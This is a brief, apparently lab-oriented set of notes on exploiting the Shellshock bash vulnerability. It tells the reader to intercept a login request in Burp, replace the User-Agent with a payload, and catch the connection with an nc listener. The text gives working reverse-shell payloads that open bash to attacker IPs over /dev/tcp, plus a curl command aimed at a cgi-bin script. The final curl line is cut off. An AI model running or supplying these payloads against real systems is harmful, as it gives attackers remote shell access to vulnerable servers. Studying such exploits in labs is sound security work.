Intercept a login request with Burp and then change the ‘User Agent’ field to the below payload. Setup a nc listener and then send the burp request.
Payload:
Payload: () { :;}; bash -i >& /dev/tcp/10.10.14.12/4444 0>&1
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.1.8/9001 0>&1' http://192.168.1.104/cgi-bin/test/test.cgi
curl -A ‘() {
